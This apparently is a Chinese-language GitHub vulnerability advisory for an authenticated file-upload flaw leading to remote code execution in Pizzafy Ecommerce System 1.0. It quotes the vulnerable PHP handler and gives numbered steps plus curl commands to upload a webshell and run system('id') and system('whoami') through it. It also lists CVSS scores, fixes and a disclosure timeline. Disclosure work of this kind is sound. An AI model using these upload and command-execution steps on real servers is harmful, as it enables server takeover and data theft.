leidyardila981-creator/Pizzafy-Ecommerce-1.0-save_settings-File-Upload-RCE

GitHub: leidyardila981-creator/Pizzafy-Ecommerce-1.0-save_settings-File-Upload-RCE

该仓库记录了 Pizzafy 电商系统 1.0 中一处认证后任意文件上传导致远程代码执行的安全研究报告与 PoC。

Stars: 0 | Forks: 0

# Pizzafy Ecommerce System 1.0 — 认证后任意文件上传导致远程代码执行 (`save_settings`) ## 总结 SourceCodester **Pizzafy Ecommerce System using PHP and MySQL 1.0** 存在漏洞 在 `/admin/admin_class_novo.php` 的 `save_settings` 函数中存在 **无限制文件上传** (CWE-434)。后台管理 **Site Settings** 页面的处理程序使用攻击者控制的原始文件名,将上传的“Image”文件直接保存到可被 Web 访问的 `/assets/img/` 目录中,并且 **从未根据允许列表验证文件扩展名或内容类型**。 因此,经过身份验证的管理员可以上传 `.php` 文件并在服务器上执行 任意操作系统命令(**Remote Code Execution**)。 ## 漏洞详情 | | | |---|---| | **产品** | Pizzafy Ecommerce System using PHP and MySQL | | **版本** | 1.0 | | **供应商** | SourceCodester (作者:oretnom23) | | **产品页面** | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html | | **漏洞类型** | 危险类型文件的无限制上传 (CWE-434) | | **受影响文件** | `/admin/admin_class_novo.php` | | **受影响函数** | `save_settings()` | | **Endpoint** | `POST /admin/ajax.php?action=save_settings` | | **UI 触发点** | `/admin/index.php?page=site_settings` → "Image" 字段 | | **参数** | `img` (multipart 文件字段) | | **所需权限** | 经过身份验证的管理员 (`$_SESSION['login_id']`) | | **用户交互** | 无 | | **影响** | 远程代码执行 (RCE) | ## 根本原因 `/admin/admin_class_novo.php` 中存在漏洞的 `save_settings()` 处理程序: ``` // admin_class_novo.php -> save_settings() if (!isset($_SESSION['login_id'])) { // only requires being logged in (admin) return 2; } $qry = $this->conn->query("SELECT * FROM system_settings WHERE id = 1"); $current = $qry->fetch_assoc(); $cover_img = $current['cover_img']; if (isset($_FILES['img']) && $_FILES['img']['tmp_name'] != '') { $target_dir = "../assets/img/"; $file_name = $_FILES['img']['name']; // [1] attacker-controlled filename $target_file = $target_dir . $file_name; $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); // [2] extension is computed... if (move_uploaded_file($_FILES['img']['tmp_name'], $target_file)) { // [3] ...but NEVER validated. File is moved as-is. $cover_img = $file_name; if ($current['cover_img'] != '' && file_exists($target_dir . $current['cover_img'])) { unlink($target_dir . $current['cover_img']); } } } ``` 存在的问题: 1. `[1]` 目标文件名直接从客户端 (`$_FILES['img']['name']`) 原样获取 — 没有进行清理,也没有重命名。 2. `[2]` 文件扩展名是通过 `pathinfo()` 计算得出的,但结果 `$imageFileType` **从未**与允许列表(例如 `jpg/png/gif`)进行比对检查。 3. `[3]` `move_uploaded_file()` 将文件写入**可通过 web-root 访问的** `../assets/img/` 目录,该目录会提供并执行 `.php` 文件。 没有 MIME 类型检查,没有扩展名允许列表,没有 magic-byte 验证,也没有 随机化的文件名。任何文件类型 — 包括 `.php` — 都会被接受并存储在 一个可预测且可直接访问的 URL 中。 ## 概念验证 ### 1. 恶意文件 (`poc.php`) ``` ``` ### 2. 步骤 1. 以管理员身份登录管理后台(例如 `/admin/login.php`)。 2. 浏览至 **Site Settings**:`/admin/index.php?page=site_settings`。 3. 在 **Image** 字段 (``) 中,选择 `poc.php`。 4. 点击 **Save**。表单将以 `multipart/form-data` 格式向 `/admin/ajax.php?action=save_settings` 发送 POST 请求。 5. 处理程序将文件存储在 `/assets/img/poc.php`。 6. 通过直接请求上传的文件来触发代码执行: ``` http://TARGET:8000/assets/img/poc.php?1=system('whoami'); ``` 服务器执行命令并返回其输出(例如 `ddddcy\dell`), 从而确认发生了远程代码执行。 ### 3. 等效请求 (curl) ``` # 1) 上传 webshell(需要有效的已认证 admin session cookie) curl -s -i \ -b "PHPSESSID=" \ -F "img=@poc.php" \ "http://TARGET:8000/admin/ajax.php?action=save_settings" # 2) 执行命令 curl -s "http://TARGET:8000/assets/img/poc.php?1=system('id');" ``` ## 影响 经过身份验证的管理员可以上传并执行任意 PHP,导致在 Web 服务器账户上下文中发生 **远程代码执行**。这可能导致应用程序、 其数据库以及潜在底层主机的完全沦陷。 ## CVSS - **CVSS v3.1:** `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` → **7.2 (高危)** - **CVSS v4.0:** `AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` (影响反映了完整的 RCE;所需权限为高,因为需要经过身份验证的 管理员会话。) ## 建议修复方案 - 强制执行严格的**服务器端扩展名允许列表**(`jpg`, `jpeg`, `png`, `gif`), 并拒绝其他所有格式。 - 验证真实的 MIME 类型 / magic bytes (例如 `finfo_file`, `getimagesize`)。 - **重命名**上传的文件为服务器生成的随机名称;切勿信任 `$_FILES['img']['name']`。 - 将上传文件存储在 web root 之外,或者在上传目录中禁用脚本执行 (例如 `.htaccess` 的 `php_admin_flag engine off`,或 nginx 的 `location` 规则)。 ## 发现者 / 致谢 - **研究员:** leidyardila981 - **联系方式:** leidyardila981@gmail.com ## 披露时间表 - **2026-06-14** — 识别并记录漏洞。 - 供应商 (SourceCodester) 未提供专门的安全联系方式;该产品是 按“原样”分发的。 ## 参考文献 - 产品页面:https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html - 相关漏洞(不同函数 `save_menu`):https://nvd.nist.gov/vuln/detail/CVE-2026-7393 - 前身产品,相同的 `save_settings` 漏洞点:https://nvd.nist.gov/vuln/detail/CVE-2023-2246 - CWE-434:https://cwe.mitre.org/data/definitions/434.html *本报告仅出于授权的安全研究和负责任的 披露 / CVE 分配目的发布。*
标签:ffuf, OpenVAS, PHP, PoC, RCE, 暴力破解, 电子商务